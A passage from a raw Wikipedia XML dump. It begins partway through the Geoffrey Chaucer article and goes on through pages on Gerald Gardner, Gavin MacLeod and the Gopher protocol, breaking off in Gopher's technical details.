recorded in the [[Oxford English Dictionary]] as the first author to use many common English words in his writings.  These words were probably frequently used in the language at the time but Chaucer, with his ear for common speech, is the earliest manuscript source.  ''Acceptable'', ''alkali'', ''altercation'', ''amble'', ''angrily'', ''annex'', ''annoyance'', ''approaching'', ''arbitration'', ''armless'', ''army'', ''arrogant'', ''arsenic'', ''arc'', ''artillery'' and ''aspect'' are just some of those from the first letter of the alphabet.

====Literary====
[[Chaucer]]'s early popularity is attested by the many poets who imitated his works.  [[John Lydgate]] was one of earliest imitators who wrote a continuation to the ''Tales''.  Later a group of poets including [[Gavin Douglas]], [[William Dunbar]] and [[Robert Henryson]] were known as the [[Scottish Chaucerians]] for their indebtedness to his style.  Many of the manuscripts of Chaucer's works contain material from these admiring poets and the later [[romantic era]] poets' appreciation of Chaucer was coloured by their not knowing which of the works were genuine.  It was not until the late [[19th century]] that the official Chaucerian canon, accepted today, was decided upon.  One hundred and fifty years after his death, ''The Canterbury Tales'' was selected by [[William Caxton]] to be one of the first books to be printed in England.

====Monuments and Tributes====
A building has been named in Chaucer's honour at the [[United Kingdom]] [[Civil Service College]].

==Historical Reception and Representation==
===Manuscripts===
As early as 1400, Chaucer's courtly audience grew to include members of the rising literate, middle and merchant classes, which included many [[Lollard]] sympathizers who would have been inclined to read Chaucer as one of his own, particularly in his satirical writings about priests and various religious. We would not have so many manuscripts of Chaucer's works today if this group of readers had not created a great demand for them.

===Printed Books===
Early on, representations of Chaucer began to circle around two co-existing identites: 1) a courtier and a king's man, an international humanist familiar with the classics and continental greats; 2) a man of the people, a plain-style satirist and a critic of the church. All things to all people (barring some sensitive moralists), for a combination of mixed aesthetic and political reasons, Chaucer was held in high esteem by high and low audiences--certainly a boon for printers and booksellers. [http://www.uwm.edu/Library/special/exhibits/clastext/clspg073.htm The sixteenth-century folio editions of Chaucer's ''Works''] were seminal events in the construction of this national literary forefather who could be read in support of both radical and conservative positions as well as different historical narratives: a popular, reformation from below and a court-controlled reformation from above.

In the sixteenth and seventeenth centuries, Chaucer was printed more than any other English author, and he was the first author to have his works collected in comprehensive single-volume editions in which a Chaucer [[wiktionary:canon|canon]] began to cohere. Some scholars contend that that sixteenth-century editions of Chaucer's ''Works'' set the precedent for all other English authors in terms of presentation, prestige and success in print. These editions certainly established Chaucer's reputation, but they also began the complicated process of reconstructing and frequently inventing Chaucer's biography and the canonical list of works attributed to him. 

[[William Caxton]]'s [http://www.uwm.edu/Library/special/exhibits/clastext/clspg076.htm two folio editions] of ''[[The Canterbury Tales]]'' were published in [[1478]] and [[1483]]. [[Richard Pynson]], the [[King's Printer]] for about twenty years, was the first to collect and sell something that resembled an edition of the collected works of Chaucer, introducing in the process five previously printed texts that are not Chaucer's. (The collection is actually three separately printed texts, or collections of texts, bound together as one volume.) There is a likely connection between Pynson's product and [[William Thynne]]'s a mere six years later. Thynne had a successful career from the 1520s until his death in [[1546]], when he was one of the masters of the royal household. His editions of ''Chaucers Works'' in [[1532]] and [[1542]] were the first major contributions to the existence of a widely recognized Chaucerian canon. Thynne represents his edition as a book sponsored by and supportive of the king who is praised in the preface by [[Sir Brian Tuke]]. Thynne's canon brought the number of apocryphal works associated with Chaucer to a total of 28, even if that was not his intention. As with Pynson, once included in the ''Works'', [[Pseudepigraphy|pseudepigraphic]] texts stayed within it, regardless of their first editor's intentions. 

Probably the most significant aspect of the growing apocrypha is that, beginning with Thynne's editions, it began to include medieval texts that made Chaucer appear as a proto-Protestant [[Lollard]], primarily the ''[[Testament of Love]]'' and ''[[The Plowman's Tale]]''. As &quot;Chaucerian&quot; works that were not considered apocryphal until the late nineteenth century, these medieval texts enjoyed a new life, with English Protestants carrying on the earlier Lollard project of appropriating existing texts and authors who seemed sympathetic--or malleable enough to be construed as sympathetic--to their cause. The official Chaucer of the early printed volumes of his ''Works'' was construed as a proto-Protestant as the same was done, concurrently, with [[William Langland]] and ''[[Piers Plowman]]''. The famous ''Plowman's Tale'' did not enter Thynne's ''Works'' until the second, [[1542]] edition. Its entry was surely facilitated by Thynne's inclusion of [[Thomas Usk]]'s ''Testament of Love'' in the first edition. The ''Testament of Love'' imitates, borrows from, and thus resembles Usk's contemporary, Chaucer. (''Testament of Love'' also appears to borrow from ''Piers Plowman''.)  Since the ''Testament of Love'' mentions its author's part in a failed plot (book 1, chapter 6), his imprisonment, and (perhaps) a recantation of (possibly Lollard) heresy, all this was associated with Chaucer. (Usk himself was executed as a traitor in [[1388]].) Interestingly, [[John Foxe]] took this recantation of heresy as a defense of the true faith, calling Chaucer a &quot;right Wiclevian&quot; and (erroneously) identifying him as a schoolmate and close friend of [[John Wycliffe]] at [[Merton College, Oxford]]. ([[Thomas Speght]] is careful to highlight these facts in his editions and his &quot;Life of Chaucer.&quot;) No other sources for the ''Testament of Love'' exist--there is only Thynne's construction of whatever manuscript sources he had.

[[John Stow]] (1525-1605) was an antiquarian and also a chronicler. [http://www.uwm.edu/Library/special/exhibits/clastext/clspg077.htm His edition of Chaucer's ''Works'' in 1561] brought the apocrypha to more than 50 titles. More were added in the seventeenth century, and they remained as late as [[1810]], well after [[Thomas Tyrwhitt]] pared the canon down in [http://www.uwm.edu/Library/special/exhibits/clastext/clspg079.htm his 1775 edition]. The compilation and printing of Chaucer's works was, from its beginning, a political enterprise, since it was intended to establish an English national identity and history that grounded and authorized the Tudor monarchy and church. What was added to Chaucer often helped represent him favorably to Protestant England.

In his [[1598]] edition of the ''Works'', Speght (probably taking cues from Foxe) made good use of Usk's account of his political intrigue and imprisonment in the ''Testament of Love'' to assemble a largely fictional &quot;Life of Our Learned English Poet, Geffrey Chaucer.&quot; Speght's &quot;Life&quot; presents readers with an erstwhile radical in troubled times much like their own, a proto-Protestant who eventually came around the king's views on religion. Speght states that &quot;In the second year of Richard the second, the King tooke Geffrey Chaucer and his lands into his protection. The occasion wherof no doubt was some daunger and trouble whereinto he was fallen by favouring some rash attempt of the common people.&quot; Under the discussion of Chaucer's friends, namely John of Gaunt, Speght further explains:

::Yet it seemeth that [Chaucer] was in some trouble in the daies of King Richard the second, as it may appeare in the Testament of Loue: where hee doth greatly complaine of his owne rashnesse in following the multitude, and of their hatred of him for bewraying their purpose. And in that complaint which he maketh to his empty purse, I do find a written copy, which I had of Iohn Stow (whose library hath helped many writers) wherein ten times more is adjoined, then is in print. Where he maketh great lamentation for his wrongfull imprisonment, wishing death to end his daies: which in my iudgement doth greatly accord with that in the Testament of Love. Moreover we find it thus in Record.

Later, in &quot;The [[Argument (literature)|Argument]]&quot; to the ''Testament of Love'', Speght adds:

::Chaucer did compile this booke as a comfort to himselfe after great griefs conceiued for some rash attempts of the commons, with whome he had ioyned, and thereby was in feare to loose the fauour of his best friends.

Speght is also the source of the famous tale of Chaucer being fined for beating a [[Franciscan]] [[friar]] in [[Fleet Street]], as well as a fictitious [[coat of arms]] and [[family tree]]. Ironically--and perhaps consciously so--an introductory, apologetic letter in Speght's edition from [[Francis Beaumont]] defends the unseemly, &quot;low,&quot; and bawdy bits in Chaucer from an elite, classicist position. Francis Thynne noted some of these inconsistencies in his ''Animadversions'', insisting that Chaucer was not a commoner, and he objected to the friar-beating story. Yet Thynne himself underscores Chaucer's support for popular religious reform, associating Chaucer's views with his father William Thynne's attempts to include ''The Plowman's Tale'' and ''The Pilgrim's Tale'' in the [[1532]] and [[1542]] ''Works''.

====Foxe's Chaucer====
Alongside Chaucer's ''Works'', the most impressive literary monument of the period is [[John Foxe]]'s ''[[Foxe's Book of Martyrs|Acts and Monuments...]]''. As with the Chaucer editions, it was critically significant to English Protestant identity and included Chaucer in its project. Foxe's Chaucer both derived from and contributed to the printed editions of Chaucer's ''Works'', particularly the pseudepigrapha. ''Jack Upland'' was first printed in Foxe's ''Acts and Monuments'', and then it appeared in Speght's edition of Chaucer's ''Works''. Speght's &quot;Life of Chaucer&quot; echoes Foxe's own account, which is itself dependent upon the earlier editions that added the ''Testament of Love'' and ''The Plowman's Tale'' to their pages. Like Speght's Chaucer, Foxe's Chaucer was also a shrewd (or lucky) political survivor. In his [[1563]] edition, Foxe &quot;thought it not out of season . . . to couple . . . some mention of Geoffrey Chaucer&quot; with a discussion of [[John Colet]], a possible source for [[John Skelton]]'s character [[Colin Clout]]. 

Probably referring to the 1542 [[Act for the Advancement of True Religion]], Foxe says he &quot;marvel[s] to consider . . . how the bishops, condemning and abolishing all manner of English books and treatises which might bring the people to any light of knowledge, did yet authorise the works of Chaucer to remain still and to be occupied; who, no doubt, saw into religion as much almost as even we do now, and uttereth in his works no less, and seemeth to be a right Wicklevian, or else there never was any. And that, all his works almost, if they be thoroughly advised, will testify (albeit done in mirth, and covertly); and especially the latter end of his third book of the Testament of Love . . . . Wherein, except a man be altogether blind, he may espy him at the full : although in the same book (as in all others he useth to do), under shadows covertly, as under a visor, he suborneth truth in such sort, as both privily she may profit the godly-minded, and yet not be espied of the crafty adversary. And therefore the bishops, belike, taking his works but for jests and toys, in condemning other books, yet permitted his books to be read.&quot; 

It is significant, too, that Foxe's discussion of Chaucer leads into his history of &quot;The Reformation of the Church of Christ in the Time of Martin Luther&quot; when &quot;Printing, being opened, incontinently ministered unto the church the instruments and tools of learning and knowledge; which were good books and authors, which before lay hid and unknown. The science of printing being found, immediately followed the grace of God; which stirred up good wits aptly to conceive the light of knowledge and judgment: by which light darkness began to be espied, and ignorance to be detected; truth from error, religion from superstition, to be discerned.&quot;

Foxe downplays Chaucer's bawdy and amorous writing, insisting that it all testifies to his piety. Material that is troubling is deemed metaphoric, while the more forthright satire (which Foxe prefers) is taken literally.

==List of Works==
The following major works are in rough chronological order but scholars still debate the dating of most of Chaucer's output and works made up from a collection of stories may have been compiled over a long period.

====Major works====
* Translation of [[Roman de la Rose]], possibly extant as [[The Romaunt of the Rose]]
* [[The Book of the Duchess]]
* [[The House of Fame]] 
* [[Anelida and Arcite]]
* [[The Parliament of Fowls]]
* Translation of [[Boethius]]' [[Consolation of Philosophy]] as [[Boece (Chaucer)|Boece]]
* [[Troilus and Criseyde]]
* [[The Legend of Good Women]]
* [[Treatise on the Astrolabe]]
* [[The Canterbury Tales]]

====Short poems====
*''An ABC''
*''Chaucers Wordes unto Adam, His Owne Scriveyn''
*''The Complaint unto Pity''
*''The Complaint of Chaucer to his Purse''
*''The Complaint of Mars''
*''The Complaint of Venus''
*''A Complaint to His Lady''
*''The Former Age''
*''Fortune''
*''Gentilesse''
*''Lak of Stedfastnesse''
*''Lenvoy de Chaucer a Scogan''
*''Lenvoy de Chaucer a Bukton''
*''Proverbs''
*''To Rosemounde''
*''Truth''
*''Womanly Noblesse''

====Poems dubiously ascribed to Chaucer====
*''Against Women Unconstant''
*''A Balade of Complaint''
*''Complaynt D'Amours''
*''Merciles Beaute''
*''The Visioner's Tale''
*''The Equatorie of the Planets'' - Rumored to be a rough translation of a Latin work derived from an Arab work of the same title. It is a description of the construction and use of what is called an 'equatorium planetarum', and was used in calculating planetary orbits and positions (at the time it was believed the sun orbited the Earth). The belief this work is ascribed to Chaucer comes from  similar 'treatise' on the Astrolabe. However, the evidence Chaucer wrote such a work is questionable, and as such is not included in ''The Riverside Chaucer''. If Chaucer did not compose this work, it was probably written by a contemporary (Benson, perhaps?). (S. Curran)

====Works mentioned by Chaucer, presumed lost====
*''Of the Wreched Engendrynge of Mankynde'', possible translation of [[Innocent III]]'s ''De miseria conditionis humanae''
*''Origenes upon the Maudeleyne''
*''The book of the Leoun'' - An interesting argument. The Book of the Leon is mentioned in Chaucer's retraction at the end of the Canterbury Tales. It is likely he wrote such a work; one suggestion is that the work was such a bad piece of writing it was lost, but if so, Chaucer would not have included it in the middle of his retraction. Indeed, he would not have included it at all. A likely source dictates it was probably a 'redaction of Guillaume de Machaut's 'Dit dou lyon,' a story about courtly love, a subject which Chaucer scholars agree he frequently wrote about (Le Romaunt de Rose).

====Pseudepigraphies and Works Plagiarizing Chaucer====
*''[[The Pilgrim's Tale]]'' -- Written in the sixteenth-century with many Chaucerian allusions
*''[[The Plowman's Tale]]'' AKA [http://www.lib.rochester.edu/camelot/teams/plwtlint.htm ''The Complaint of the Ploughman''] -- A [[Lollard]] [[satire]] later appropriated as a [[Protestant]] text
*''[[Pierce the Ploughman's Crede]]'' -- A Lollard satire later appropriated by Protestants
*[http://www.lib.rochester.edu/camelot/teams/plgtlint.htm ''The Ploughman's Tale''] -- Its body is largely a version of [[Thomas Hoccleve]]'s &quot;Item de Beata Virgine&quot;
*[http://www.lib.rochester.edu/camelot/teams/sym4int.htm &quot;La Belle Dame Sans Merci&quot;] -- Richard Roos' translation of a poem of the same name by Alain Chartier
*''[http://www.lib.rochester.edu/camelot/teams/shoaf.htm The Testament of Love]'' -- Actually by [[Thomas Usk]]
*''[[Jack Upland]]'' -- A Lollard satire
*''[[God Spede the Plow]]'' -- Borrows parts of Chaucer's ''Monk's Tale''

==See also==
*[[Literature]]
*[[Middle English]]
*[[Middle English literature]]
*[[Middle English poetry]]
*[[Medieval literature]]
*[[Chaucer College]], a graduate school of the [[University of Kent]], England; [[North Petherton]].
*[[2984 Chaucer|Asteroid 2984 Chaucer]], named after the poet
*The movie ''[[A Knight's Tale (movie)|A Knight's Tale]]'' was very loosely based on [[The Knight's Prologue and Tale|The Knight's Tale]], one of the Canterbury Tales, and a fictionalised Chaucer himself appears as a character in it.

==External links==
{{wikisource author}}
{{wikiquote}}
{{commons}}
*{{gutenberg author|id=Geoffrey_Chaucer|name=Geoffrey Chaucer}}

* ''[http://www.gutenberg.net/etext/6565 Chaucer's Official Life]'' by [[James Root Hulbert]]
* [http://www.luminarium.org/medlit/ Anthology of Middle English Literature]
* [http://www.bartleby.com/212/0703.html Early Editions of Chaucer]
*[http://www.bbc.co.uk/radio4/history/inourtime/inourtime_20060209.shtml Geoffrey Chaucer] - Radio broadcast, ''[[In Our Time]]'', 9 February 2006, [[BBC Radio 4]] broadcast (includes link to Listen Again)

Educational institutions
* [http://www.bl.uk/treasures/caxton/homepage.html Caxton's Chaucer] Complete digitized texts of Caxton's two earliest editions of the Canterbury Tales from the British Library
* [http://www.unc.edu/depts/chaucer/ Chaucer Metapage] - Project in addition to the 33rd International Congress of Medieval Studies 
* [http://www.courses.fas.harvard.edu/~chaucer/index.html Chaucer Page] by [[Harvard University]]
* [http://www.towson.edu/~duncan/chaucer/images.htm Three near-contemporary portraits of Chaucer]
* [http://www.aberdeen.k12.sd.us]

{{Chaucer}}

[[Category:1343 births|Chaucer, Geoffrey]]
[[Category:1400 deaths|Chaucer, Geoffrey]]
[[Category:British civil servants|Chaucer, Geoffrey]]
[[Category:English MPs|Chaucer, Geoffrey]]
[[Category:English Poets Laureate|Chaucer, Geoffrey]]
[[Category:Medieval literature|Chaucer, Geoffrey]]
[[Category:Middle English poets|Chaucer, Geoffrey]]

{{Link FA|de}}

[[be:Джэфры Чосэр]]
[[bg:Джефри Чосър]]
[[de:Geoffrey Chaucer]]
[[als:Geoffrey Chaucer]]
[[es:Geoffrey Chaucer]]
[[fr:Geoffrey Chaucer]]
[[it:Geoffrey Chaucer]]
[[nl:Geoffrey Chaucer]]
[[ja:ジェフリー・チョーサー]]
[[no:Geoffrey Chaucer]]
[[pl:Geoffrey Chaucer]]
[[pt:Geoffrey Chaucer]]
[[ro:Geoffrey Chaucer]]
[[ru:Чосер, Джефри]]
[[fi:Geoffrey Chaucer]]
[[sv:Geoffrey Chaucer]]
[[zh:乔叟]]
[[he:ג'פרי צ'וסר]]</text>
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    <title>GNOME desktop</title>
    <id>12788</id>
    <revision>
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      <timestamp>2002-12-26T20:49:11Z</timestamp>
      <contributor>
        <username>Jizzbug</username>
        <id>6183</id>
      </contributor>
      <comment>redirecting to 'GNOME', because 'GNOME' is more correct than 'GNOME desktop'</comment>
      <text xml:space="preserve">#REDIRECT [[GNOME]]</text>
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  </page>
  <page>
    <title>Gerald Gardner</title>
    <id>12789</id>
    <revision>
      <id>41393823</id>
      <timestamp>2006-02-27T01:08:30Z</timestamp>
      <contributor>
        <username>RodCrosby</username>
        <id>915451</id>
      </contributor>
      <comment>most sources say he died on 12th, buried on 13th</comment>
      <text xml:space="preserve">[[Image:Witchcraft Today book cover.jpg|thumb|The cover of ''[[Witchcraft Today]]'', in which Gardner made the disputed claim to have encountered religious witchcraft survivals in England.]]
&lt;!-- FAIR USE of Witchcraft Today book cover.jpg: see image description page at http://en.wikipedia.org/wiki/Image:Witchcraft Today book cover.jpg for rationale.  The book is Gardner's best known work. --&gt; 
'''Gerald Brosseau Gardner''' ([[June 13]] [[1884]] - [[February 12]] [[1964]]) was a [[England|British]] civil servant, amateur [[anthropology|anthropologist]], [[writer]], and [[occultist]] who published some of the definitive texts for modern [[Wicca]], which he was instrumental in founding.

== Life ==
Gardner was born in [[Crosby%2C_Merseyside|Crosby]], near [[Liverpool]], England to a well-off family who had in their service Josephine &quot;Com&quot; McCombie, an Irish nursemaid{{ref|mystica}}. The family business was Joseph Gardner &amp; Sons, the Empire's oldest and largest importer of hardwood. Gardner, who had asthma at the time was suffering and his nursemaid offered to take him to warmer climates in the Continent. Com eventually settled in Asia, where Gardner stayed for a large portion of his young-adult life.

Beginning in [[1908]] he was a [[rubber]] planter, first in [[Borneo]] and then in  [[Malaya]]. After [[1923]] he held civil service posts as a government inspector in [[Malaya]]. In [[1936]], at the age of 52, he retired to [[England]]. He published an authoritative text, ''[[Keris and other Malay Weapons]]'' (1936), based on his field research into southeast [[Asia]]n weapons and [[magic (paranormal)|magical]] practices.

Apparently on medical advice, he took up [[nudism|naturism]] on his return to England, and also pursued his interest in the [[occult]].

Gardner published two works of fiction, ''[[A Goddess Arrives]]'' (1939) and ''[[High Magic's Aid]]'' ([[1949]]). These were followed by his purportedly-factual works, ''[[Witchcraft Today]]'' ([[1954]]) and ''[[The Meaning of Witchcraft]]'' ([[1959]]).

In [[1964]], after suffering a heart attack, Gardner died at sea on a ship returning from [[Lebanon]].  He was buried on the shore of [[Tunisia]].

== Wicca ==
Gardner claimed to have been initiated in 1939 into a tradition of religious witchcraft that he believed to be a continuation of European [[Paganism]].  [[Doreen Valiente]], one of Gardner's priestesses, later identified the woman who initiated Garder as [[Dorothy Clutterbuck]] in a book &lt;!-- Which one again? --&gt; published by [[Janet Farrar|Janet]] and [[Stewart Farrar]].  This identification was based on references Valiente remembered Gardner making to a woman he called &quot;Old Dorothy&quot;.  Scholar [[Ronald Hutton]] instead argues in his ''Triumph of the Moon'' that Gardner's witchcraft tradition was largely the inspiration of members of the [[Rosicrucian Order Crotona Fellowship]] and especially a woman known by the &quot;magical name&quot; of [[Dafo]]. Dr [[Leo Ruickbie]] in his ''Witchcraft Out of the Shadows'' analysed the documentary evidence and concluded that [[Aleister Crowley]] played a cruicial role in inspiring Gardner to establish a new pagan religion. Ruickbie, Hutton, and others, further argue that much of what has been published of [[Gardnerian Wicca]], as Gardner's practice came to be known  by, was written by [[Doreen Valiente]], [[Aleister Crowley]] and also contains borrowings from other identifiable sources.

=== Etymology ===
Gardner, in his two books on the subject, referred to religious witchcraft as &quot;[[Wica]]&quot;, or &quot;The Craft&quot;.  Gardner's spelling was quickly replaced by usage of &quot;Wicca&quot;.  In Old English, a &quot;Wicca&quot; is a male necromancer, &quot;Wicce&quot; a female one, and &quot;Wiccae&quot;, is the plural form, &quot;necromancers&quot; {{ref|etym}}. Historical use of the word &quot;Wicca&quot; as any sort of religion is unsupported by etymology. The verb form, &quot;wiccian&quot;, which means &quot;to practice witchcraft&quot;, does not appear in Gardner's written material, and is not commonly used in literature about the religious movement.

==Bibliography==
*1936: ''Keris and Other Malay Weapons''
*1939: ''A Goddess Arrives'' (fiction)
*1949: ''High Magic's Aid'' (fiction)
*1954: ''Witchcraft Today''
*1959: ''The Meaning of Witchcraft''

==Notes and references==
#{{note|mystica}}  http://www.themystica.com/mystica/articles/g/gardner_gerald_b.html
#{{note|etym}} http://www.etymonline.com

==External links==
*[http://www.geraldgardner.com/ GeraldGardner.com] an online reference resource
*[http://www.controverscial.com/Gerald%20Brosseau%20Gardner.htm Biography at Controverscial.com]
*[http://paganwiccan.about.com/cs/authors/a/aagardner.htm Biography at About.com]

[[Category:1884 births|Gardner, Gerald]]
[[Category:1964 deaths|Gardner, Gerald]]
[[Category:British novelists|Gardner, Gerald]]
[[Category:British occultists|Gardner, Gerald]]
[[Category:British religious writers|Gardner, Gerald]]
[[Category:Wiccan people|Gardner, Gerald]]

[[de:Gerald Brousseau Gardner]]
[[pt:Gerald Gardner]]</text>
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        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Genocide]]
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      <comment>#redirect [[GOTO]]</comment>
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  <page>
    <title>Gavin MacLeod</title>
    <id>12792</id>
    <revision>
      <id>41924262</id>
      <timestamp>2006-03-02T17:31:43Z</timestamp>
      <contributor>
        <ip>84.96.81.228</ip>
      </contributor>
      <comment>/* Filmography */</comment>
      <text xml:space="preserve">'''Gavin MacLeod''' (born [[February 28]], [[1930]]) is an [[United States|American]] [[actor]], notable for playing Murray Slaughter on ''[[The Mary Tyler Moore Show]]'' and Captain Merrill Stubing on ''[[The Love Boat]]''.

Born '''Allan See''' in [[Mount Kisco, New York]], he grew up in [[Pleasantville, New York|Pleasantville]] and studied acting at [[Ithaca College]], graduating in [[1952]]. His father, a gas station attendant, was a [[Ojibwa|Chippewa (Ojibwa)]] Indian. After serving in the [[United States Air Force|Air Force]], he moved to [[New York City]] and worked at [[Radio City Music Hall]] while looking for acting work. At about this time he changed his name, drawing &quot;Gavin&quot; from a [[cerebral palsy]] victim in a TV drama, and &quot;MacLeod&quot; from his Ithaca drama coach, Beatrice MacLeod.

His first movie appearance was in [[I Want To Live!]], a 1958 prison drama starring the late [[Susan Hayward]] who won an Oscar for her performance. He also appeared as the villain on TV shows of the late 1950s and early 1960s. His first regular TV role came in [[1962]] as Joseph &quot;Happy&quot; Haines on [[McHale's Navy]].

MacLeod's role as &quot;Murray Slaughter&quot; on [[The Mary Tyler Moore Show]] won him lasting fame, and two [[Golden Globe]] nominations, followed by another three nominations for his ''Love Boat'' work.

Along with his wife Patti, an evangelical Christian, {{fact}} he wrote about struggles with [[divorce]] and [[alcoholism]] in ''Back On Course: The Remarkable Story of a Divorce That Ended in Remarriage''. For a brief time the MacLeods hosted a show on [[Trinity Broadcasting Network]] with the same name.

==Filmography==
* ''[[I Want To Live!]]''
* ''[[Compulsion]]''
* ''[[Pork Chop Hill]]''
* ''[[Operation Petticoat]]''
* ''[[The Gene Krupa Story]]''
* ''[[Twelve Hours to Kill]]''
* ''[[High Time (film)|High Time]]''
* ''[[Kelly's Hero's (1970)]]''
* ''[[The Crimebusters]]''
* ''[[McHale's Navy Joins the Air Force]]''
* ''[[Time Changer (2002)]]''
* ''[[The Sand Pebbles]]''

==Television==
* ''[[Mr. Lucky]]''
* ''[[The Untouchables]]''
* ''[[Perry Mason]]''
* ''[[Dr. Kildare]]''
* ''[[The Dick Van Dyke Show]]''
* ''[[The Munsters]]''
* ''[[Gomer Pyle, U.S.M.C.]]''
* ''[[The Andy Griffith Show]]''
* ''[[The Man from U.N.C.L.E.]]''
* ''[[Hogan's Heroes]]''
* ''[[The Rat Patrol]]''
* ''[[Combat! (television)|Combat!]]''
* ''[[The Big Valley]]''
* ''[[It Takes a Thief]]''
* ''[[Hawaii Five-O]]''
* ''[[Mary Tyler Moore (TV series)|Mary Tyler Moore]]''
* ''[[The Love Boat]]''

==External links==
*{{imdb name|id=0533891|name=Gavin MacLeod}}

[[Category:1930 births|MacLeod, Gavin]]
[[Category:Living people|MacLeod, Gavin]]
[[Category:American television actors|MacLeod, Gavin]]
[[Category:Native American actors|MacLeod, Gavin]]
[[Category:United States Air Force airmen|MacLeod, Gavin]]
[[Category:Ojibwa tribe|MacLeod, Gavin]]</text>
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  <page>
    <title>Gopher protocol</title>
    <id>12794</id>
    <revision>
      <id>41577000</id>
      <timestamp>2006-02-28T06:40:57Z</timestamp>
      <contributor>
        <username>Kimchi.sg</username>
        <id>295955</id>
      </contributor>
      <minor />
      <comment>/* Gopher characteristics */ fix alignment</comment>
      <text xml:space="preserve">'''Gopher''' is a [[Distributed computing|distributed]] [[document]] search and retrieval [[network protocol]] designed for the [[Internet]]. Its goal was similar to that of the [[World Wide Web]], and it has been almost completely displaced by the Web. 

The Gopher protocol offers some features not natively supported by the Web and imposes a much stronger hierarchy on information stored in it. Its text menu interface is well-suited to computing environments that rely heavily on remote [[computer terminal]]s, common in universities at the time of its creation. Some consider it to be the superior protocol for storing and searching large repositories of information.

==History==
===Origins===
The original Gopher system was released in late spring of [[1991]] by [[Mark McCahill]], Farhad Anklesaria, [[Paul Lindner]], Dan Torrey, and Bob Alberti of the [[University of Minnesota]]. Its central goals were:
* A file-like hierarchical arrangement that would be familiar to users
* A simple syntax
* A system that can be created quickly and inexpensively
* Extending the file system metaphor to include things like searches

The source of the name &quot;Gopher&quot; is claimed to be three-fold: 
# Users instruct it to &quot;go for&quot; information
# It does so through a web of menu items analogous to [[Gopher (animal)|gopher]] holes
# The sports team of the University of Minnesota is the [[Golden Gophers]]

Gopher combines document hierarchies with collections of services, including [[Wide area information server|WAIS]], the [[Archie search engine|Archie]] and [[Veronica (computer)|Veronica]] search engines, and gateways to other information systems such as [[ftp]] and [[Usenet]].

The general interest in Campus-Wide Information Systems (CWISs) &lt;ref&gt;[http://groups.google.com/group/bit.listserv.cwis-l/browse_frm/thread/11db689fbe802834/bc8a60ab89926a4b?lnk=st&amp;q=cwis+gopher&amp;rnum=482&amp;hl=en#bc8a60ab89926a4b Google Groups archive of bit.listserv.cwis-l discussion]&lt;/ref&gt; in higher education at the time, and the ease with which a Gopher server could be set up to create an instant CWIS with links to other sites' online directories and resources were the factors contributing to Gopher's rapid adoption. By 1992, the standard method of locating someone's e-mail address was to find their organization's [[CSO nameserver]]  entry in Gopher, and query the nameserver &lt;ref&gt;[http://groups.google.com/group/comp.infosystems.gopher/browse_frm/thread/eef4cfbdbc862afe/9cbc3e3690b8fb4e?lnk=st&amp;q=%22cso+nameserver%22&amp;rnum=19&amp;hl=en#9cbc3e3690b8fb4e Google Groups archive of comp.infosystems.gopher discussion]&lt;/ref&gt;.

The exponential scaling of utility in social networked systems ([[Reed's law]]) seen in Gopher, and then the web, is a common feature of networked hypermedia systems with distributed authoring. In 1993&amp;ndash;1994, Web pages commonly contained large numbers of links to Gopher-delivered resources, as the Web continued Gopher's embrace and extend tradition of providing gateways to other services.

===Decline===
When the [[World Wide Web]] was first introduced in [[1991]], Gopher was well-established and quite popular; yet by the late [[1990s]], Gopher had almost disappeared.

There are a number of factors which contributed to Gopher's decline in popularity:
*In February of [[1993]], the University of Minnesota announced that they would begin to charge licensing fees for the use of their implementation of the Gopher server &lt;ref&gt;http://www.funet.fi/pub/vms/networking/gopher/gopher-software-licensing-policy.ancient&lt;/ref&gt;, which reduced the popularity of Gopher servers &lt;ref&gt;http://groups.google.com/groups?selm=1mj6cb$6gm@pith.uoregon.edu&lt;/ref&gt;. Some believe this is what relegated Gopher to a footnote in the [[history of the Internet]] &lt;ref&gt;http://groups.google.com/groups?selm=36e4c2f1.10244576@nntp.best.ix.netcom.com&lt;/ref&gt;. The University eventually re-licensed their Gopher software under the [[GNU GPL]] &lt;ref&gt;ftp://boombox.micro.umn.edu/pub/gopher/gopher-software-licensing-policy.new&lt;/ref&gt;.

*Most Gopher clients did not adequately support [[HTML]], the ''lingua franca'' of the Web. Meanwhile, popular Web browsers such as [[Mosaic (web browser)|Mosaic]] had poor support for [[Gopher]], and once there was sufficient content on the Web to make it an important way of accessing information, there was even less of a need to support Gopher in Web browsers.

*Gopher has a limited structure, making it inflexible compared to the free-form [[HTML]] of the Web.  With Gopher, every document has a defined format and type, and the typical user must navigate through a single server-defined menu system to get to a particular document.  Many people did not like the artificial distinction between menu and fixed document in the Gopher system, and found the Web's open-ended flexibility much more useful for constructing free-form, interrelated sets of documents (&quot;[[HTML]]&quot;) and interactive applications.

===Availability of Gopher today===
As of [[2004]], there are still a few Gopher servers present on the net, in organizations such as the [[Smithsonian Institution]] and the [[US government]]; a few are also being maintained by enthusiasts of the protocol, where almost all growth is occurring.

Some have suggested that the bandwidth-sparing simple interface of Gopher would be a good match for [[mobile phone]]s and [[Personal digital assistants]] (PDAs), but so far, the market prefers [[Wireless Markup Language]] (WML)/[[Wireless Application Protocol]] (WAP), DoCoMo [[i-mode]], [[XHTML Basic]] or other adaptations of [[HTML]] and [[XML]].

== Gopher characteristics ==
A Gopher system consists of a series of hierarchical menus. The choice of menu items and titles is set by the administrator of the server.

[[Image:Floodgap gopher top menu.PNG|250px|left|thumb|The top level menu of a Gopher server. Selecting the &quot;Fun and Games&quot; menu item...]]
[[Image:Floodgap gopher fun menu.PNG|250px|left|thumb|... takes the user to the &quot;Fun and Games&quot; menu.]]
&lt;br style=&quot;clear: left&quot;/&gt;

[[Image:Floodgap gopher servers menu.PNG|150px|thumb|right|A Gopher menu listing other accessible servers.]]
[[Image:Umn_gopher_dir.png|150px|right|thumb| Gopher menu from a terminal client.]]

Similar to a file on a Web server, a file on a Gopher server can be linked to as a menu item from any other Gopher server. Many servers take advantage of this inter-server linking to provide a directory of other servers that the user can access.

==Technical details==
===Protocol===
The Gopher protocol is documented in [[Request for Comments|RFC]] 1436. It is traditionally served on [[Transmission Control Protocol|TCP]] [[List of well-known ports (computing)|port]] 70.

After the client has established a TCP connection with the server, it sends a line that contains the ''item selector'', a string that identifies the document to be retrieved. The line is ended with a carriage return followed by a line feed (a &quot;CR + LF&quot; sequence). An empty line will select the default directory. The server then replies with the requested item and closes the connection.

A ''directory'' consists of a sequence of lines, each of which describes an item that can be retrieved. These lines are ended with &quot;CR + LF&quot;. They consist of five fields, separated by TAB characters:

* item type character, which is usually one of the following:
